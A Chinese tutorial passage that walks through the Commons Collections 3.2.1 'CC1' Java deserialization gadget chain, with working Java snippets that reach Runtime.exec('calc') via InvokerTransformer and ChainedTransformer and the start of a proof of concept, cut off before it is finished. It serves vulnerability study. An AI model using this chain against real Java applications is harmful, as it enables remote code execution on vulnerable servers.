Java反序列化漏洞-CC1利用链分析

@

目录

• 一、前置知识
  • 1. 反射
  • 2. Commons Collections是什么
  • 3. 环境准备
• 二、分析利用链
  • 1. Transformer
  • 2. InvokeTransformer
    • 执行命令
  • 3. ConstantTransformer
  • 4. ChainedTransformer
    • 执行命令
  • 5. TransformedMap
  • 6. AbstractInputCheckedMapDecorator
  • 7. AnnotationInvocationHandler
• 三、编写POC
  • 1. ChainedTransformer
  • 2. decorate
  • 3. AnnotationInvocationHandler
  • 4. 执行序列化和反序列化操作
• 四、完整POC代码
• 五、为什么是Target.class，为什么是”value”
  • 1. 构造方法中的判断
  • 2. readObject中的判断
    • var7 != null
    • var7的值
    • var5和var6的值
    • var3的值
    • 回到var7
    • 回到POC代码
• 六、利用链

一、前置知识1. 反射

首先，Java执行系统命令的语句是这样的：

Runtime.getRuntime().exec("calc");

用反射的方法执行Runtime.getRuntime().exec("calc")的语句是这样的：

//获取Runtime类对象Class clazz = Runtime.class;//获取getRuntime方法Method getRuntimeMethod = clazz.getMethod("getRuntime", null);//获取Runtime对象Runtime runtime = (Runtime) getRuntimeMethod.invoke(clazz, null);//获取exec方法Method execMethod = clazz.getMethod("exec", String.class);//反射执行exec("calc")execMethod.invoke(runtime, "calc");

如果上面这些反射代码看不懂，建议补一下反射基础：

黑马Java反射，Java安全-反射

2. Commons Collections是什么

Java Collections Framework 是 JDK 1.2 中的一项重要新增功能。 它添加了许多强大的数据结构，可以加速最重要的 Java 应用程序的开发。 从那时起，它已成为 Java 中公认的集合处理标准。

Commons-Collections试图通过提供新的接口、实现和实用程序来构建JDK类。

像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使⽤了Apache Commons Collections工具库，当该工具库出现反序列化漏洞时，这些应用也受到了影响，这也是反序列化漏洞如此严重的原因。

3. 环境准备

本文中漏洞复现环境：

• commons-collections 3.2.1
• jdk 1.8.0_65

在pom.xml添加commons-collections依赖

            commons-collections        commons-collections        3.2.1    

在项目结构中指定JDK版本

二、分析利用链

这个链分析顺序是从链的最后部分·，即执行命令的逻辑部分开始分析，一直到反序列化的入口点结束。

1. Transformer

Transformer是一个接口，这个接口声明了一个transform函数

2. InvokeTransformer

这个类的位置：org.apache.commons.collections.functors.InvokerTransformer

看一下InvokeTransformer的构造方法和tramsform方法，这里吧一些不必要的代码省去了

public class InvokerTransformer implements Transformer, Serializable {    //构造方法    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {        iMethodName = methodName;        iParamTypes = paramTypes;        iArgs = args;    }    //实现Transformer接口的tramsform方法    public Object transform(Object input) {        Class cls = input.getClass();        Method method = cls.getMethod(iMethodName, iParamTypes);        return method.invoke(input, iArgs);    }

构造方法：InvokerTransformer(方法名，形参列表，实参列表)

tramsform方法：

1. 调用接收到的对象的getClass方法，获取他的类对象
2. 用getMethod方法获取cls类对象的iMethodName方法
3. 用invoke方法执行input对象的iMethodName方法，参数是iArgs

也可以理解成tramsform就是反射执行 input.iMethodName(iArgs)

执行命令

用 InvokeTransformer 来弹个计算器试试

package com.zzy.ApacheCC1;import org.apache.commons.collections.functors.InvokerTransformer;public class Blog {    public static void main(String[] args) {        Class[] paramTypes = {String.class};        Object[] args1 = {"calc"};        InvokerTransformer it = new InvokerTransformer("exec", paramTypes, args1);        it.transform(Runtime.getRuntime());    }}

上面这段代码相当于执行了这些东西：

Object runtime = Runtime.getRuntime();Class cls = runtime.getClass();Method exec = cls.getMethod("exec", String.class);exec.invoke(runtime, "calc");

如何不直接调用transform方法，让程序自动调用transform方法来命令执行呢？请先看下面这几个类。

3. ConstantTransformer

ConstantTransformer的构造方法把传过来的值赋给iConstant

然后ConstantTramsformer的tramsform方法又把他返回回去。收到什么就返回什么，很没意思的一个方法是吧。

关键代码：

public class ConstantTransformer implements Transformer, Serializable {    public ConstantTransformer(Object constantToReturn) {        iConstant = constantToReturn;    }    public Object transform(Object input) {    return iConstant;}}

然后我们先看下一个类

4. ChainedTransformer

public class ChainedTransformer implements Transformer, Serializable {    public ChainedTransformer(Transformer[] transformers) {        iTransformers = transformers;    }    public Object transform(Object object) {        for (int i = 0; i < iTransformers.length; i++) {            object = iTransformers[i].transform(object);        }        return object;    }}

ChainedTransformer的构造方法接收一个Transformer类型的数组

然后ChainedTransformer的transform方法遍历transformers数组，依次执行每个Tramsformr的transform方法，

给transform方法一个初始值，然后每个Tramsformr的transform方法的返回值最为下一个Tramsformr的transform方法的参数来执行

听起来是不是有点绕，在脑子里过几遍，然后再实际调试一下，这样就差不多能看懂了。

执行命令

我们试着用ChainedTransformer结合InvokerTransformer和ConstantTransformer来自动调用InvokerTransformer的transform方法完成命令执行

Transformer[] transformers = {        new ConstantTransformer(Runtime.getRuntime()),        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};new ChainedTransformer(transformers).transform(null);

由于Runtime类没有实现Serializable接口，无法进行序列化，但是Class类实现了Serializable接口。

所以这里再改进一下代码，用Runtime.class命令执行

ConstantTransformer ct = new ConstantTransformer(Runtime.class);//获取类对象//Runtime.classString methodName1 = "getMethod";Class[] paramTypes1 = {String.class, Class[].class};Object[] args1 = {"getRuntime", null};InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);//获取getRuntime方法//Runtime.class.getMethod("getRuntime", null)String methodName2 = "invoke";Class[] paramTypes2 = {Object.class, Object[].class};Object[] args2 = {null, null};InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);//getRuntime.invoke获取Runtime对象//it1.invoke(null, null)String methodName3 = "exec";Class[] paramTypes3 = {String.class};Object[] args3 = {"calc"};InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);//Runtime对象执行exec命令//it2.exec("calc")Transformer[] transformers = {ct, it1, it2, it3};new ChainedTransformer(transformers).transform(null);

上面这些代码相当于执行了这些操作：

Class runtimeClass = Runtime.class;Method getruntime = runtimeClass.getMethod("getRuntime", null);Runtime runtime = (Runtime) getruntime.invoke(null, null);runtime.exec("calc");

成功执行命令

这里可以自动调用InvokerTransformer的transform了，但是又多出来个ChainedTransformer的transform，现在还得解决自动调用ChainedTransformer的transform的问题。先看看下面这几个类吧。

5. TransformedMap

类位置：org.apache.commons.collections.map.TransformedMap

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {        this.keyTransformer = keyTransformer;        this.valueTransformer = valueTransformer;    }public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {        return new TransformedMap(map, keyTransformer, valueTransformer);    }protected Object checkSetValue(Object value) {        return valueTransformer.transform(value);    }}

静态decorate方法可以调用TransformedMap的构造方法，返回一个TransformedMap实例。

TransformedMap的checkSetValue方法调用了transform方法，valueTransformer的值可以通过构造方法的第三个参数获得。

但是checkSetValue方法修饰符是protected，无法直接调用它，我们接着寻找一个可以调用checkSetValue方法的类。

6. AbstractInputCheckedMapDecorator

它是TransformedMap的父类

abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {        super(entry);        this.parent = parent;}    public Object setValue(Object value) {        value = parent.checkSetValue(value);        return entry.setValue(value);    }}

可以看到它的内部类MapEntry的setValue方法调用了checkSetValue方法，但是setValue方法依然不能直接调用，接着寻找能调用setValue方法的类吧。

7. AnnotationInvocationHandler

这个类的主要作用是为注解处理器提供代理对象，以便在运行时动态地处理注解。

这个类的位置：sun.reflect.annotation.AnnotationInvocationHandler

class AnnotationInvocationHandler implements InvocationHandler, Serializable {    AnnotationInvocationHandler(Class var1, Map var2) {        Class[] var3 = var1.getInterfaces();        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {            this.type = var1;            this.memberValues = var2;        } else {            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");        }    }private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {        var1.defaultReadObject();        AnnotationType var2 = null;        try {            var2 = AnnotationType.getInstance(this.type);        } catch (IllegalArgumentException var9) {            throw new InvalidObjectException("Non-annotation type in annotation serial stream");        }        Map var3 = var2.memberTypes();        Iterator var4 = this.memberValues.entrySet().iterator();        while(var4.hasNext()) {            Map.Entry var5 = (Map.Entry)var4.next();            String var6 = (String)var5.getKey();            Class var7 = (Class)var3.get(var6);            if (var7 != null) {                Object var8 = var5.getValue();                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));                }            }        }    }}

这个类的readObject方法调用了var5的setValue方法，readObject正好是反序列化的入口点，终于快结束了。

var5是怎么来的呢？

AnnotationInvocationHandler构造方法的第三个参数var2赋给了memberValues

在readObject中最后赋给了var5

Iterator var4 = this.memberValues.entrySet().iterator();Map.Entry var5 = (Map.Entry)var4.next();

next方法位置：AbstractInputCheckedMapDecorator.EntrySetIterator#next

在这里 next()方法用于迭代原始映射中的键值对，并将其转换为MapEntry类型。在这个方法中，首先通过调用迭代器的next()方法来获取下一个元素，并将其强制转换为Map.Entry类型。然后，使用获取到的键值对和父对象作为参数，创建一个新的MapEntry对象，并将其作为方法的返回值。

返回一个MapEntry对象，那个AnnotationInvocationHandler的var5就是MapEntry对象，最后调用了MapEntry的SetValue方法。

执行MapEntry的SetValue方法又会调用checkSetValue方法

checkSetValue调用ChainedTransformer的transform方法，进而达到命令执行的效果

到此，利用链构造完毕，我们将编写完整的POC

三、编写POC1. ChainedTransformer

这一步无需多言，跟在ChainedTransformer那里讲的一样，最后获得一个ChainedTransformer对象

ConstantTransformer ct = new ConstantTransformer(Runtime.class);String methodName1 = "getMethod";Class[] paramTypes1 = {String.class, Class[].class};Object[] args1 = {"getRuntime", null};InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);String methodName2 = "invoke";Class[] paramTypes2 = {Object.class, Object[].class};Object[] args2 = {null, null};InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);String methodName3 = "exec";Class[] paramTypes3 = {String.class};Object[] args3 = {"calc"};InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);Transformer[] transformers = {ct, it1, it2, it3};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

2. decorate

新建一个HashMap对象，他的键（Key）的名称为value，至于为什么是value在本文章第五节会分析

TransformedMap.decorate返回一个TransformedMap实例，

实例的valueTransformer的值就是chainedTransformer

HashMap